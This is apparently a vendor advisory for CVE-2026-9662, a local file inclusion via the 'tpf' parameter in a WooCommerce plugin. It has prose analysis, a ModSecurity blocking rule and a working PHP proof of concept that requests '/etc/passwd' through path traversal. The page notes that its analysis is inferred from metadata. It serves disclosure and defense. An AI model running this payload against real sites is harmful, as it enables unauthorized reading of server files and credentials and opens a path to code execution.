Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : June 9, 2026

CVE-2026-9662: Recover Exit For WooCommerce <= 1.0.3 Unauthenticated Local File Inclusion via 'tpf' Parameter PoC, Patch Analysis & Rule

CVE ID CVE-2026-9662
Severity High (CVSS 8.1)
CWE 98
Vulnerable Version 1.0.3
Patched Version
Disclosed June 7, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-9662 (metadata-based): An unauthenticated Local File Inclusion vulnerability exists in the Recover Exit For WooCommerce plugin for WordPress, up to and including version 1.0.3. The flaw resides in the `recover_exit()` function, where the user-supplied `tpf` POST parameter is used directly in an `include()` statement without sufficient validation or sanitization. This allows remote attackers with no authentication to include arbitrary local PHP files, leading to information disclosure and potential code execution. The CVSS score of 8.1 (High) reflects the critical impact, although exploitation requires high attack complexity (AC:H), likely due to the need for specific file presence or server configuration.

The root cause, inferred from the CWE-98 classification and the CVE description, is a classic PHP file inclusion vulnerability arising from the `include()` function being called with a user-controlled path. The `tpf` POST parameter is passed to `include()` after only minimal or no sanitization, and no path traversal checks exist. This allows an attacker to use `../` sequences to navigate the filesystem and include arbitrary PHP files. The lack of code or plugin availability means we confirm the general pattern from the description, but specific implementation details (like whether the path is relative to a plugin directory) are inferred from typical WordPress plugin patterns.

Exploitation occurs by sending a POST request to the WordPress AJAX handler (`/wp-admin/admin-ajax.php`) with the `action` parameter set to the plugin’s registered hook (likely `recover_exit` or similar derived from the function name). The attacker includes the `tpf` parameter with a path traversal payload, such as `../../../etc/passwd` for file disclosure, or a path to a PHP web shell for code execution. Because no nonce or capability check is required (unauthenticated), the attack is straightforward. Multiple requests can enumerate files or trigger inclusion of a malicious file uploaded via another vector.

Remediation requires the plugin developers to properly validate and sanitize the `tpf` parameter before inclusion. The fix should involve preventing path traversal by stripping `../` sequences and restricting the include path to an allowed directory (e.g., using `realpath()` for canonicalization). Alternatively, using a whitelist of allowed files or avoiding `include()` with user input entirely would eliminate the vulnerability. Until a patch is released, users must disable the plugin or apply a virtual patch via a WAF.

The impact is severe: an unauthenticated attacker can read arbitrary files on the server (leading to sensitive data exposure, including WordPress configuration files containing database credentials). In scenarios where the server allows file uploads (e.g., via other plugins or WordPress media upload), the attacker can include a malicious PHP file to achieve remote code execution, complete server compromise, and further lateral movement.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" "id:20269662,phase:2,deny,status:403,chain,msg:'CVE-2026-9662 - LFI via tpf parameter in recover_exit action',severity:'CRITICAL',tag:'CVE-2026-9662'"
SecRule ARGS_POST:action "@streq recover_exit" "chain"
SecRule ARGS_POST:tpf "@rx ../" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-9662 - Recover Exit For WooCommerce <= 1.0.3 - Unauthenticated Local File Inclusion via 'tpf' Parameter

$target_url = 'http://example.com/wp-admin/admin-ajax.php'; // Change this to the target WordPress URL

$action = 'recover_exit'; // Inferred from the vulnerable function name; may need adjustment if actual hook differs

// Attempt to read /etc/passwd as a common LFI test
$payload = '../../../../../../../etc/passwd'; // Path traversal to include system file

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'action' => $action,
    'tpf' => $payload
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

if (curl_error($ch)) {
    echo 'CURL Error: ' . curl_error($ch) . PHP_EOL;
} else {
    echo 'HTTP Code: ' . $http_code . PHP_EOL;
    echo 'Response body:' . PHP_EOL;
    echo $response . PHP_EOL;
    // If /etc/passwd content appears (e.g., 'root:x:0:0:'), LFI is confirmed
    if (strpos($response, 'root:x:') !== false) {
        echo PHP_EOL . '[+] LFI confirmed: /etc/passwd retrieved.' . PHP_EOL;
    } else {
        echo PHP_EOL . '[-] LFI not confirmed with this payload. Try adjusting path or action parameter.' . PHP_EOL;
    }
}

curl_close($ch);

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School